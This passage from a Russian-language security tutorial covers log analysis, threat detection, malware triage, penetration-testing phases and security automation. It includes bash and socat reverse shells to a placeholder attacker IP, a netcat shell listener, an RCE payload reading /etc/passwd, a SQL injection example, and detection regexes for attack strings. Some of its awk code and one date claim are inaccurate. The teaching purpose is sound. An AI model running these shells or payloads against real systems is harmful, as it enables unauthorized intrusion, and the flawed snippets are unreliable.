getent passwd > "$OUT_DIR/passwd.txt"
ls -la /home > "$OUT_DIR/home_dirs.txt"

# 4. Автозагрузка
systemctl list-unit-files --type=service --state=enabled > "$OUT_DIR/systemd_enabled.txt"
crontab -l -u root 2>/dev/null > "$OUT_DIR/crontab_root.txt"

# Архивация и шифрование (ключ предварительно развёрнут)
tar czf - "$OUT_DIR" | openssl enc -aes-256-cbc -pbkdf2 -k "$SECRET_KEY" | \
nc -w 10 collector.example.com 8888
Экспорт реестра (Windows, PowerShell)
$Host = $env:COMPUTERNAME
$Timestamp = (Get-Date).ToUniversalTime().ToString("yyyyMMddTHHmmssZ")
$OutDir = "C:\temp\forensic_$Host"

New-Item -ItemType Directory -Path $OutDir -Force | Out-Null

# Экспорт ключей автозагрузки
reg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "$OutDir\HKLM_Run.reg"
reg export "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "$OutDir\HKCU_Run.reg"

# Список служб
Get-WmiObject Win32_Service | Select-Object Name,DisplayName,PathName,StartMode,State |
Export-Csv "$OutDir\services.csv" -NoTypeInformation

# Сетевые соединения
netstat -ano | Out-File "$OutDir\netstat.txt"

# Архивация и отправка (используем BITS для фоновой передачи)
Compress-Archive -Path $OutDir -DestinationPath "$env:TEMP\forensic.zip"
$SecureKey = ConvertTo-SecureString "AES_KEY_HERE" -AsPlainText -Force
Protect-CmsMessage -To "CN=Collector" -Content "$env:TEMP\forensic.zip" -OutFile "$env:TEMP\forensic.zip.p7m"
Start-BitsTransfer -Source "$env:TEMP\forensic.zip.p7m" -Destination "https://collector.example.com/upload"
Поиск по шаблонам (IOC)

IOC (Indicators of Compromise) — известные артефакты компрометации: хеши, строки, регулярные выражения.

Пример: поиск YARA-подобной сигнатуры через grep:

# Поиск строки, характерной для сканера
grep -r "Nmap" /var/log/ 2>/dev/null

# Поиск Base64-кода в скриптах
find /opt/app -name "*.sh" -exec grep -l "^[A-Za-z0-9+/]\{20,\}==\?$" {} \;

# Поиск исполняемых в /tmp
find /tmp -type f -executable 2>/dev/null

9. Обработка и нормализация данных: углубление

Нормализация — не техническая деталь, а предпосылка достоверного анализа. Без неё невозможна корреляция событий из разных источников и автоматизация.

9.1. Проблемы сырых логов: детализация

Рассмотрим типичный лог /var/log/auth.log:

Nov  7 14:23:01 srv-web sshd[1234]: Accepted publickey for deploy from 203.0.113.42 port 51234 ssh2
Nov 7 14:23:02 srv-web sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/systemctl restart nginx

Проблемы:

  • Временная метка: «Nov 7» — не ISO 8601, нет года, нет часового пояса → нельзя сортировать хронологически при анализе за несколько лет.
  • Имя хоста: srv-web — не FQDN → при централизованном сборе возможны коллизии (srv-web в разных дата-центрах).
  • Структура сообщения: sshd[1234]: и sudo: deploy : — разный формат полей → парсинг требует разных регулярных выражений.
  • Отсутствие уникального ID события → невозможно точно сопоставить «Accepted» и последующий sudo.

Решение — канонизация (canonicalization):

  1. Приведение временных меток к UTC в формате ISO 8601:

    # Пример для November 2025 (високосный год учитывается)
    awk '{
    split($1, m, /Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec/);
    month = (index("JanFebMarAprMayJunJulAugSepOctNovDec", $1)+2)/3;
    day = $2;
    time = $3;
    print "2025-" sprintf("%02d", month) "-" sprintf("%02d", day) "T" time "Z"
    }'
  2. Унификация имён хостов:
    Использовать hostname -f (FQDN) вместо hostname -s. При сборе — добавлять префикс дата-центра: dc1.srv-web.example.com.

  3. Извлечение полезных полей в ключ-значение:
    Для sshd:

    Accepted (\w+) for (\w+) from ([\d\.]+) port (\d+)
    → { "auth_method": "publickey", "user": "deploy", "src_ip": "203.0.113.42", "src_port": "51234" }

    Для sudo:

    (\w+) : TTY=([^;]+) ; PWD=([^;]+) ; USER=([^;]+) ; COMMAND=(.+)
    → { "user": "deploy", "tty": "pts/0", "pwd": "/home/deploy", "target_user": "root", "command": "/bin/systemctl restart nginx" }
  4. Генерация уникального идентификатора события (event_id):
    Комбинация: sha256(host + timestamp + raw_message). Позволяет точно отслеживать событие в разных системах.

9.2. Парсинг структурированных форматов

  • CSV: стандарт RFC 4180; проблемы — кавычки, разделители внутри полей.

    # Надёжный парсинг только через языки с CSV-библиотеками (Python, awk с `FPAT`):
    awk -v FPAT='([^,]*)|("[^"]+")' '{print $1, $3}' file.csv
  • JSON: jq — инструмент промышленного уровня.

    # Извлечение всех IP из массива событий
    jq -r '.[].src_ip' events.json

    # Фильтрация по полю и переформатирование
    jq 'select(.event_id == "auth_success") | {time: .timestamp, ip: .src_ip}' events.json
  • XML: xmllint, xmlstarlet.

    # Извлечение EventID из Windows EVTX (после конвертации в XML)
    xmlstarlet sel -t -v "//Event/System/EventID" events.xml

9.3. Конвейер нормализации (пример на bash)

#!/bin/bash
# normalize_logs.sh

while IFS= read -r line; do
# Извлекаем исходные поля (пример для auth.log)
if [[ $line =~ ^([A-Za-z]+)\ +([0-9]+)\ +([0-9:]+)\ +([^ ]+)\ +sshd\[([0-9]+)\]:\ Accepted\ ([^ ]+)\ for\ ([^ ]+)\ from\ ([^ ]+) ]]; then
month="${BASH_REMATCH[1]}"
day="${BASH_REMATCH[2]}"
time="${BASH_REMATCH[3]}"
host="${BASH_REMATCH[4]}"
pid="${BASH_REMATCH[5]}"
method="${BASH_REMATCH[6]}"
user="${BASH_REMATCH[7]}"
ip="${BASH_REMATCH[8]}"

# Нормализуем месяц
declare -A MONTHS=( ["Jan"]="01" ["Feb"]="02" ["Mar"]="03" ["Apr"]="04" ["May"]="05" ["Jun"]="06"
["Jul"]="07" ["Aug"]="08" ["Sep"]="09" ["Oct"]="10" ["Nov"]="11" ["Dec"]="12" )
month_num="${MONTHS[$month]}"

# Генерируем ISO-время (год подставляем как 2025)
iso_time="2025-${month_num}-${day}T${time}Z"

# Формируем JSON
jq -n --arg ts "$iso_time" \
--arg h "$(hostname -f)" \
--arg src "$ip" \
--arg u "$user" \
--arg m "$method" \
'{timestamp: $ts, host: $h, source: "sshd", event_id: "auth_success", user: $u, src_ip: $src, auth_method: $m}'
fi
done

Запуск:

cat /var/log/auth.log | ./normalize_logs.sh | jq -s . > normalized.json

10. Анализ: выявление угроз и аномалий

Анализ — это проверка гипотез. Гипотезы формируются на основе:

  • известных тактик атакующих (MITRE ATT&CK),
  • моделей угроз для конкретной системы,
  • исторических инцидентов.

10.1. Статистический анализ

Цель — понять норму, чтобы определять отклонения.

  • Частотный анализ:

    # Количество входов по IP за час
    awk '$5=="auth_success" {print $2}' normalized.json | sort | uniq -c | sort -nr
  • Распределения:
    Например, распределение времён между последовательными входами одного пользователя. При брутфорсе — геометрическое распределение (равномерные интервалы); при легитимном использовании — экспоненциальное (редкие, случайные входы).

  • Тренды:
    Рост числа sudo-команд на 300% за неделю — повод к проверке.

10.2. Обнаружение аномалий

Аномалия — событие, маловероятное при условии «нормального» поведения.

Методы:
  1. Пороговые значения:
    >10 неудачных входов с одного IP за 5 минут → блокировка.
    Просто, но подвержено ложным срабатываниям при легитимных сканерах.

  2. Z-оценка (стандартизация).

  3. Энтропийный анализ:
    Высокая энтропия в именах файлов (a3f9k2l1.tmp) или URL (/api/v1/8f3a2e1c) — признак генерируемых атакующим имён (C2, временные файлы).
    Подсчёт энтропии на bash (через ent, если установлен, или Python).

  4. Кластеризация (устаревшие методы без ML):
    Группировка по признакам: (src_ip, user, time_window). Кластер с высокой плотностью и редким user — подозрителен.

10.3. Индикаторы компрометации (IOC)

IOC — наблюдаемые артефакты, свидетельствующие о компрометации. Классификация:

ТипПримерыКак искать
СетевыеIP C2, домены (malicious[.]xyz), TLS-отпечатки сертификатовgrep -Ff iocs_ips.txt netflow.log, `jq '.domain
ФайловыеХеши (sha256: a1b2c3...), пути (%APPDATA%\malware.exe), строки ("cmd.exe /c certutil -decode" )`find / -type f -exec sha256sum ;
ПроцессныеНеобычные родительские процессы (explorer.exe → powershell.exe), аргументы (-ep bypass)`ps -eo ppid,pid,comm,args
Реестровые (Windows)Ключи автозагрузки в CurrentVersion\Run с путями вне Program Files`reg query HKCU...\Run /s

Важно: IOC быстро устаревают. Эффективнее — IOA (Indicators of Attack), т.е. действия:

  • «Выполнение PowerShell с обфусцированным скриптом»,
  • «Создание службы с именем, имитирующим системную».

10.4. Визуализация

Визуализация — не украшение, а ускорение когнитивного восприятия. Типы:

  • Гистограммы распределений:
    gnuplot, R, или даже bash + awk для ASCII-графиков:

    awk '{a[int($1/100)]++} END {for (i in a) print i*100 "-", (i+1)*100 ": " a[i]}' requests_per_sec.txt
  • Временные ряды:
    График числа событий во времени. Требует нормализованного времени.
    Инструменты: gnuplot, influxdb + grafana, или jq + matplotlib (Python).

  • Панели мониторинга (dashboards):
    Единое представление: карта атак (гео-IP), топ-5 аномальных хостов, статус систем.

Пример: временной ряд неудачных входов
# Группировка по 5-минутным окнам
grep "auth_fail" normalized.json | \
jq -r '.timestamp' | \
awk '{
gsub(/[^0-9:]/, " ", $1);
cmd = "date -d \"" $1 " " $2 "\" +%s";
cmd | getline ts; close(cmd);
window = int(ts / 300) * 300;
count[window]++
}
END {
for (w in count) print w, count[w]
}' | sort -n > failures.tsv

Затем строим график в gnuplot:

set xdata time
set timefmt "%s"
set format x "%H:%M"
plot "failures.tsv" using 1:2 with lines title "Auth failures / 5 min"

11. Пример: анализ логов веб-сервера

Рассмотрим nginx access.log в формате:

203.0.113.42 - - [07/Nov/2025:14:23:01 +0300] "GET /api/v1/users HTTP/1.1" 200 1024 "-" "curl/7.68.0"
198.51.100.22 - - [07/Nov/2025:14:23:02 +0300] "POST /login HTTP/1.1" 401 50 "https://example.com/login" "Mozilla/5.0 ..."

11.1. Определение сканеров

Сканеры:

  • делают много запросов к несуществующим путям (/wp-admin, /phpmyadmin),
  • используют известные user-agent’ы (nmap, sqlmap, ZmEu),
  • имеют высокую частоту и низкую вариативность.

Алгоритм:

# 1. Извлекаем уникальные user-agent’ы и их частоту
awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -nr > uas.txt

# 2. Ищем известные сигнатуры
grep -Ei "nmap|sqlmap|acunetix|burpsuite|ZmEu" uas.txt

# 3. Определяем «сканерские» IP по поведению:
# >50 запросов за 1 мин, >80% запросов — 404
awk '{
ip = $1;
gsub(/\[|\]/, "", $4);
split($4, dt, ":");
time = mktime("2025 11 " dt[1] " " dt[2] " " dt[3] " " dt[4]);
status = $9;
window = int(time / 60);
count[ip, window]++;
if (status == 404) notfound[ip, window]++
}
END {
for (key in count) {
split(key, a, SUBSEP);
ip = a[1]; win = a[2];
if (count[key] > 50 && (notfound[key] / count[key]) > 0.8)
print "Scanner candidate:", ip, "window", win
}
}' access.log

11.2. Обнаружение брутфорса

Брутфорс — повторяющиеся POST /login с разными паролями и 401/403 статусами.

# Фильтруем login-попытки
awk '$7 == "/login" && $9 ~ /^(401|403)$/ {print $1, $4}' access.log | \
awk '{
gsub(/\[|\]/, "", $2);
split($2, dt, ":");
time = mktime("2025 11 " dt[1] " " dt[2] " " dt[3] " " dt[4]);
window = int(time / 60); # 1-минутное окно
ip_count[$1, window]++;
if (ip_count[$1, window] > 10) {
print "Bruteforce alert: IP", $1, "at window", window;
# Сброс счётчика, чтобы не дублировать
delete ip_count[$1, window];
}
}'

11.3. Выявление эксплуатации уязвимостей

Поиск шаблонов в URL и теле запроса (если ведётся логирование POST-данных через log_subrequest или WAF):

  • SQL-инъекции: ' OR 1=1--, UNION SELECT, SLEEP(

    grep -Ei "\x27\s*OR\s*[0-9]+\s*=\s*[0-9]+|--|\bUNION\s+SELECT\b|\bSLEEP\s*\(" access.log
  • RCE (Remote Code Execution): ; cat /etc/passwd, `id`, ${IFS}, system(

    grep -E ";[[:space:]]*(cat|ls|id|whoami)|\`[[:alnum:]]+\`|\$\{.*\}|system\s*\(" access.log
  • Path traversal: ../, %2e%2e%2f

    grep -E "\.\./|%2e%2e" access.log

Важно: ложные срабатывания при легитимных URL (/api/v1/users?page=../2). Требуется контекст (статус ответа: 200 при ../ — подозрительно).


12. Мониторинг в реальном времени

Постфактум-анализ важен, но реагирование в течение минут снижает ущерб.

12.1. Потоковый анализ

# Слежение за auth.log в реальном времени
tail -F /var/log/auth.log | grep --line-buffered "Failed password" | \
awk '{ip[$11]++} END {for (i in ip) if (ip[i] > 5) print "ALERT: " i, ip[i] " attempts"}'

Для долгой работы — daemon’ы на systemd или supervisord.

12.2. Простой IDS на bash

#!/bin/bash
# simple_ids.sh

IOC_FILE="/opt/security/iocs.txt" # список IP, хешей, сигнатур

# Сбор сетевых соединений каждые 10 сек
while true; do
ss -tuln | awk 'NR>1 {print $5}' | cut -d: -f1 > /tmp/curr_ips.txt
# Сравнение с IOC
comm -12 <(sort /tmp/curr_ips.txt) <(sort "$IOC_FILE") | \
while read ip; do
logger -t IDS "ALERT: IOC match — $ip"
iptables -A INPUT -s "$ip" -j DROP
echo "Blocked $ip" | mail -s "SECURITY BLOCK" admin@example.com
done
sleep 10
done

12.3. Live dashboard’ы

Минимальный «живой» дэшборд через htop + iftop + journalctl в tmux:

# ~/.tmux.conf
bind d split-window -h 'watch -n 1 "ss -tuln | grep -v 127.0.0.1"'
bind n split-window -v 'journalctl -f -u nginx'

Ctrl+b, d — показать соединения, Ctrl+b, n — логи nginx.

Для продакшена — grafana + prometheus + node_exporter + blackbox_exporter.

12.4. Отказоустойчивость

  • Обработка сбоев сбора:
    Если rsyslog упал — резервный syslog-ng (активен через systemd socket activation).
  • Резервирование каналов доставки:
    Логи → локальный буфер (rsyslog queue) + основной SIEM (TCP) + резервный SIEM (UDP + TLS).
  • Самотестирование:
    Раз в час отправляется тестовое событие; если в SIEM не появилось за 5 мин — алерт.

13. Выявление вредоносного ПО

Выявление вредоносного программного обеспечения (malware) — задача многоуровневая. Нет единого метода, гарантирующего обнаружение всех образцов; эффективна только комбинация подходов, каждый из которых покрывает определённый класс угроз.

13.1. Статический и динамический анализ: различия и границы применимости

КритерийСтатический анализДинамический анализ
ОпределениеИсследование кода/структуры без выполненияНаблюдение за поведением в контролируемой среде
Входные данныеБинарный файл, скрипт, образ памятиЗапущенный процесс, виртуальная машина, sandbox
ПреимуществаБыстр, безопасен, обнаруживает обфусцированный код до распаковкиВыявляет поведенческие признаки (C2, персистентность), обходит полиморфизм
ОграниченияНе обнаруживает код, генерируемый во время выполнения (например, eval(decode(...))); уязвим к упаковщикамТребует ресурсов, может быть детектирован (песочница), не покрывает все пути выполнения
Типичные инструментыfile, strings, xxd, binwalk, YARA, Ghidra (disasm)strace, ltrace, Wireshark, procmon, Cuckoo Sandbox

Ключевой принцип: статический анализ — первая линия обороны, динамический — уточняющий. Например:

  • strings malware.bin | grep http → подозрительный C2,
  • затем запуск в strace -f -e trace=network ./malware.bin → подтверждение сетевого вызова.

13.2. Обнаружение по сигнатурам

Сигнатура — уникальный идентификатор, присущий конкретному образцу или семейству.

Типы сигнатур:
  1. Криптографические хеши (MD5, SHA-1, SHA-256):

    • Точно идентифицируют конкретный файл.
    • Неустойчивы к минимальным изменениям (изменение одного байта — новый хеш).
    • Применение: сравнение с базой известных вредоносов (VirusTotal, MalwareBazaar).
    sha256sum suspicious.exe | cut -d' ' -f1 | xargs -I{} curl -s "https://www.virustotal.com/api/v3/files/{}" -H "x-apikey: $VT_API_KEY"
  2. Строковые сигнатуры:

    • Уникальные строки в коде: "cmd.exe /c certutil -decode", "http://c2.malware.com/gate.php".
    • Более устойчивы к изменениям, чем хеши.
    • Риск ложных срабатываний (легитимные утилиты тоже используют certutil).
    strings -n 8 malware.bin | grep -E "certutil|bitsadmin|powershell.*-enc"
  3. YARA-правила:

    • Декларативный язык описания сигнатур: комбинация строк, байт-паттернов, мета-данных.
    • Пример правила для PowerShell-обфускации:
      rule PowerShell_EncodedCommand {
      meta:
      description = "Detects -EncodedCommand in PowerShell"
      author = "IT Universe"
      strings:
      $cmd1 = "-EncodedCommand" nocase
      $cmd2 = "-enc" nocase
      $b64 = /[A-Za-z0-9+\/]{20,}={0,2}/
      condition:
      ($cmd1 or $cmd2) and $b64
      }
    • Запуск: yara -r powershell_rules.yar /path/to/malware.

13.3. Реверс-инжиниринг «на коленке»: минимальный набор инструментов

Цель — не полный анализ, а быстрая оценка угрозы. Для этого достаточно стандартных утилит.

ИнструментНазначениеПример использования
fileОпределение типа файлаfile malware.binPE32 executable (GUI) Intel 80386, for MS Windows
xxd / hexdumpПросмотр шестнадцатеричного дампаxxd -l 256 malware.bin → проверка PE-заголовка (MZ, PE\0\0), ELF (\x7fELF)
stringsИзвлечение читаемых строкstrings -n 8 malware.bin | grep http → C2-домены
strace (Linux)Трассировка системных вызововstrace -f -e trace=file,network,process ./malware → файловые операции, сетевые вызовы, fork()
ltrace (Linux)Трассировка вызовов библиотекltrace -e "*crypto*" ./malware → использование OpenSSL
procmon (Windows)Аналог strace + ltrace (Sysinternals)Фильтрация по Process Name = malware.exe, Operation = Process Create
Пример: быстрый анализ подозрительного ELF
$ file suspicious
suspicious: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped

$ strings suspicious | grep -E "http|exec|/bin"
http://185.142.98.67:8080/gate
/bin/sh
execve

$ strace -e trace=process,network,file ./suspicious 2>&1 | grep -E "clone|connect|open"
clone(child_stack=NULL, ...) = 12345
connect(3, {sa_family=AF_INET, sin_port=htons(8080), ...}, 16) = 0
open("/tmp/.X11-unix/lock", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 4

→ Вывод: бинарник создаёт дочерний процесс, подключается к внешнему IP на порту 8080, пишет в /tmp. Высокая вероятность вредоноса.

13.4. Обход обфускации

Обфускация — намеренное усложнение анализа. Распространённые методы и способы обхода:

МетодПримерКак обойти
XOR / простые шифры0x7f ^ 0xaa = 'M', 0x45 ^ 0xaa = 'Z'Поиск XOR-ключа через известный заголовок (MZ, PK, {\rtf1}) → key = encrypted_byte ^ known_byte
Base64 / Base32Z2V0IGh0dHA6Ly8xOTIuMC4yLjEvYmFkLnNoIHwgYmFzaA==`echo "Z2V0..."
Шифрование (AES, RC4)Ключ встроенный в бинарьИзвлечение ключа через strings, затем расшифровка в Python: from Crypto.Cipher import AES
Паковщики (UPX, ASPack)UPX 3.96 в stringsРаспаковка: upx -d malware.exe (если не модифицирован)
Контроль песочницыПроверка IsDebuggerPresent, NtQueryInformationProcessЗапуск в отладчике (gdb, x64dbg) с пропуском/обходом проверок
Пример: распаковка Base64 в bash
# Обнаружили в логах:
# "powershell -enc SQBmACAAKAAoAEcAZQB0AC0AVwBpAG4AZABvAHcAcwBEAGUAZgBh...=="

# Декодируем:
echo "SQBmACAAKAAoAEcAZQB0AC0AVwBpAG4AZABvAHcAcwBEAGUAZgBh..." | base64 -d
# → If ((Get-WindowsFeature -Name Telnet-Client).InstallState -eq "Available") ...
Пример: XOR-анализ в Python (быстро)
import sys

with open(sys.argv[1], 'rb') as f:
data = f.read()

# Ищем MZ (0x4d, 0x5a)
for key in range(256):
if data[0] ^ key == 0x4d and data[1] ^ key == 0x5a:
print(f"Possible XOR key: 0x{key:02x}")
# Расшифровываем и сохраняем
decrypted = bytes(b ^ key for b in data)
with open(f'decrypted_{key:02x}', 'wb') as out:
out.write(decrypted)
break

14. Тестирование на проникновение как средство повышения защищённости

Тестирование на проникновение (penetration testing, пентест) — это контролируемая имитация атаки, проводимая с целью верификации эффективности защитных мер. Это не «взлом ради взлома», а проверка гипотез угроз.

14.1. Этические и юридические рамки

Пентест без письменного разрешения — уголовно наказуемое деяние (ст. 272 УК РФ, Computer Fraud and Abuse Act в США). Обязательные элементы:

  • Письменное разрешение (engagement letter):
    Чётко определяет:

    • scope (IP-диапазоны, домены, типы тестов — black/grey/white box),
    • запрещённые действия (например, «не атаковать production-базу данных»),
    • временные окна («только в нерабочее время»),
    • ответственные стороны.
  • Отчётность:
    После теста — подробный отчёт:

    • найденные уязвимости (CVSS-оценка),
    • доказательства (скриншоты, логи),
    • рекомендации по устранению,
    • подтверждение устранения (retest).
  • Конфиденциальность:
    Все данные — под NDA. Отчёты шифруются, хранятся в защищённом хранилище.

14.2. Что такое пентест и пентестеры

  • Пентест — процесс, состоящий из фаз: разведка → сканирование → эксплуатация → пост-эксплуатация → отчёт.
  • Пентестер — специалист, сочетающий:
    • знание архитектуры систем (сети, ОС, приложения),
    • навыки анализа кода и бинарников,
    • понимание тактик атакующих (MITRE ATT&CK),
    • дисциплину и этику.

14.3. Фазы пентеста и bash-инструменты на каждой стадии

14.3.1. Разведка (Reconnaissance)

Цель: собрать информацию о цели без активного взаимодействия (passive) или с минимальным (active).

ИнструментКомандаРезультат
whois`whois example.com | grep -E "OrgNameNetRange"`
dig / nslookupdig example.com ANY +shortDNS-записи (A, MX, TXT, NS)
curl / wgetcurl -s -D - http://example.com/ -o /dev/null | grep ServerHTTP-заголовки, сервер
nmapnmap -sV -sC -p- --open -T4 example.comОткрытые порты, версии сервисов, скрипты (http-title, ssl-cert)

Пример скрипта разведки:

#!/bin/bash
TARGET=$1
OUTDIR="recon_$TARGET"

mkdir -p "$OUTDIR"

dig "$TARGET" ANY > "$OUTDIR/dig.txt"
whois "$TARGET" > "$OUTDIR/whois.txt"
curl -s -I "http://$TARGET" > "$OUTDIR/http_headers.txt"
nmap -sV -sC -p- --open "$TARGET" -oA "$OUTDIR/nmap"
14.3.2. Эксплуатация (Exploitation)

Цель: использовать уязвимости для получения доступа.

Тип уязвимостиИнструмент / методПример
SQLiРучной ввод / sqlmapsqlmap -u "http://$TARGET/login?user=admin" --batch
RCEОбфусцированный payloadcurl "http://$TARGET/cmd?exec=$(echo 'cat+/etc/passwd' | base64)"
Локальный фаззингfuzzer.shСкрипт, генерирующий случайные данные для nc:
# fuzzer.sh
while true; do
payload=$(tr -dc 'A-Za-z0-9' < /dev/urandom | head -c $((RANDOM % 100 + 10)))
echo -ne "POST /login HTTP/1.1\r\nContent-Length: ${#payload}\r\n\r\n$payload\r\n" | nc "$TARGET" 80
done

Важно: эксплуатация — не цель, а средство. После получения доступа — фиксация доказательств и остановка.

14.3.3. Пост-эксплуатация (Post-Exploitation)

Цель: закрепиться, собрать данные, проверить распространение.

ДействиеИнструментПример
Установка точки опорыnetcat, socatnc -lvp 4444 -e /bin/bash (reverse shell)
Обратная сессия/dev/tcp (bash)bash -i >& /dev/tcp/192.0.2.1/4444 0>&1
Эскалация привилегийLinEnum.sh, winPEASЗапуск скриптов сбора информации на хосте
Перемещение по сетиproxychains, chiselПроброс трафика через скомпрометированный хост

Пример reverse shell на bash:

# На атакующей машине:
nc -lvp 4444

# На жертве:
bash -c 'bash -i >& /dev/tcp/192.0.2.1/4444 0>&1'

Для обхода фаерволов — шифрование через socat:

# Жертва:
socat TCP4:192.0.2.1:4444 EXEC:bash,pty,stderr,setsid,sigint,sane

# Атакующий:
socat -d -d TCP4-LISTEN:4444,fork EXEC:sh,pty,stderr,setsid,sigint,sane
14.3.4. Отчётность

Автоматизация отчётов:

# Генерация Markdown-отчёта
cat <<EOF > report.md
# Пентест от $(date)

## Цель
- $TARGET

## Найденные уязвимости
- **Высокая**: SQL-инъекция в /login (CVSS 9.1)
- Доказательство: \`\`\`admin' OR 1=1--\`\`\`
- **Средняя**: Устаревший nginx 1.14.0 (CVE-2019-9511)
- Доказательство: \`Server: nginx/1.14.0\`

## Рекомендации
1. Использовать параметризованные запросы.
2. Обновить nginx до 1.16.1+.
EOF

15. Автоматизация, масштабирование и интеграция

Автоматизация в безопасности — это не цель, а средство повышения качества и устойчивости контрмер. Ручные действия подвержены ошибкам, не масштабируемы и не воспроизводимы. Эффективная автоматизация строится на трёх принципах:

  1. Идемпотентность: повторное выполнение не изменяет результат (если система уже в целевом состоянии).
  2. Проверяемость: каждый шаг сопровождается ассертом (например, test -f /etc/ssh/sshd_config && grep -q "^PermitRootLogin no").
  3. Обратимость: для каждой операции существует «откат» (например, резервная копия конфигурации перед изменением).

15.1. Построение конвейеров: от сбора до оповещения

Конвейер (pipeline) — это последовательность шагов, преобразующих «сырой» сигнал в подтверждённое событие безопасности. Пример конвейера для обнаружения брутфорса SSH:

[Сбор] → [Нормализация] → [Агрегация] → [Корреляция] → [Оповещение] → [Реагирование]
Реализация на bash и cron
#!/bin/bash
# ssh_bruteforce_pipeline.sh

LOG="/var/log/auth.log"
TEMP="/tmp/ssh_analysis"
ALERTS="/var/log/security/alerts.log"
BLOCKLIST="/etc/ssh/blocklist.conf"

# 1. Сбор и фильтрация
grep "Failed password" "$LOG" > "$TEMP/raw.txt"

# 2. Нормализация (извлечение IP и временных меток)
awk '{
gsub(/\[|\]/, "", $3);
split($3, dt, ":");
time = mktime("2025 11 " dt[1] " " dt[2] " " dt[3] " " dt[4]);
print time, $11
}' "$TEMP/raw.txt" > "$TEMP/normalized.txt"

# 3. Агрегация по 5-минутным окнам
awk '{
window = int($1 / 300);
ip_count[$2, window]++;
}
END {
for (key in ip_count) {
split(key, a, SUBSEP);
ip = a[1]; win = a[2];
if (ip_count[key] >= 10) {
print win, ip, ip_count[key] > "/tmp/alert_candidates.txt"
}
}
}' "$TEMP/normalized.txt"

# 4. Корреляция: исключение доверенных IP
comm -23 <(sort /tmp/alert_candidates.txt | cut -f2) <(sort /etc/security/trusted_ips.txt) > /tmp/malicious_ips.txt

# 5. Оповещение и реагирование
while read ip; do
if ! grep -q "$ip" "$BLOCKLIST"; then
echo "deny from $ip" >> "$BLOCKLIST"
systemctl reload sshd # или iptables -A INPUT -s $ip -j DROP
logger -t SSH_SECURITY "Blocked $ip for bruteforce"
echo "$(date -Isec) | SSH_BRUTEFORCE | $ip" >> "$ALERTS"
echo "SSH brute-force from $ip" | mail -s "SECURITY ALERT" soc@example.com
fi
done < /tmp/malicious_ips.txt
Планирование задач
  • Linux: cron
    # Каждые 5 минут
    */5 * * * * /opt/security/ssh_bruteforce_pipeline.sh
  • Windows: schtasks
    schtasks /create /tn "SSHBruteCheck" /tr "C:\sec\ssh_check.ps1" /sc minute /mo 5

Для критичных задач — избыточное планирование:

  • основной запуск через cron,
  • резервный — через systemd timer (если cron упал),
  • мониторинг самого планировщика («heartbeat»-событие каждые 15 мин).

15.2. Масштабирование: от одного хоста к инфраструктуре

При росте числа узлов ручное развёртывание неприемлемо. Требуется:

  • Централизованное управление конфигурацией: Ansible, SaltStack, Puppet.
    Пример Ansible-плейбука для развёртывания validateconfig.sh:

    - name: Deploy security audit script
    hosts: all
    tasks:
    - copy:
    src: validateconfig.sh
    dest: /opt/security/validateconfig.sh
    mode: '0700'
    - cron:
    name: "Security audit"
    job: "/opt/security/validateconfig.sh >> /var/log/security/audit.log 2>&1"
    minute: "0"
    hour: "2"
  • Единая точка сбора и анализа:

    • Логи → rsyslog/fluentdElasticsearch,
    • Метрики → PrometheusGrafana,
    • Алерты → Alertmanager → почта/SMS/Slack.
  • Шаблонизация отчётов:
    Использование Jinja2 или mustache для генерации отчётов из структурированных данных (JSON/YAML).

15.3. Интеграция с CI/CD

Безопасность должна быть встроена в жизненный цикл разработки:

  • Сканеры в pipeline:
    • bandit для Python,
    • semgrep для мультиязыкового анализа,
    • trivy для сканирования образов Docker.

Пример .gitlab-ci.yml:

security_scan:
image: aquasec/trivy:latest
script:
- trivy image --exit-code 1 --severity CRITICAL $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG
rules:
- if: $CI_COMMIT_TAG
  • Проверка конфигураций инфраструктуры как кода (IaC):
    checkov для Terraform, cfn-nag для CloudFormation.

16. Как развивать практику

Экспертиза в безопасности формируется не через теорию, а через осмысленную практику. Ниже — проверенные методы развития, ориентированные на самостоятельное обучение.

16.1. Эксперименты на изолированных стендах

Изолированный стенд — это песочница для безопасного обучения. Требования:

  • Физическая или сетевая изоляция: стенд не имеет выхода в интернет и не связан с production’ом.
  • Воспроизводимость: развёртывание через Vagrant/Terraform/Docker Compose.
  • Фиксация состояния: перед каждым экспериментом — снапшот (VBoxManage snapshot take).
Пример стенда для анализа вредоносов
# Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "generic/ubuntu2204"
config.vm.network "private_network", ip: "192.168.56.10"
config.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 2
# Запрет выхода в интернет
vb.customize ["modifyvm", :id, "--natpf1", "delete", "http"]
end
config.vm.provision "shell", inline: <<-SHELL
apt-get update
apt-get install -y strace ltrace binutils yara jq
SHELL
end

Эксперименты:

  • Запуск известного вредоноса (из VirusTotal) → сбор strace, анализ сетевой активности,
  • Попытка обхода простого сигнатурного детектора → модификация бинарника (изменение неисполняемых секций),
  • Сборка собственного «безобидного» бэкдора на C → проверка обнаруживаемости.

16.2. Участие в CTF (Capture The Flag)

CTF — соревнования по информационной безопасности. Типы:

ТипФорматНавыки
JeopardyЗадачи по категориям (Web, Forensics, Crypto, Reversing)Широкая экспертиза, скорость
Attack-DefenseКоманды защищают свои сервисы и атакуют чужиеПроактивная защита, живой анализ
King of the HillКонтроль над единственной «точкой»Тактическое мышление

Рекомендуемые площадки:

  • CTFtime.org — календарь соревнований,
  • Hack The Box — лаборатории,
  • TryHackMe — обучение через задания.

Как извлекать пользу:

  • После решения — рефлексия: «Какой метод я применил? Можно ли его автоматизировать?»,
  • Публикация write-up’ов (даже для себя) — закрепление знаний.

16.3. Рефлексия инцидентов

Даже в отсутствие реальных инцидентов возможна симуляция постмортема:

  1. Выбор сценария: например, «компрометация веб-сервера через SQLi».
  2. Реконструкция цепочки:
    • Как попали? (уязвимый параметр),
    • Как закрепились? (web-shell → reverse shell),
    • Как масштабировались? (escalation через sudo -l),
    • Как скрывались? (очистка auth.log, использование LD_PRELOAD).
  3. Проверка гипотез:
    • Сработал ли WAF?
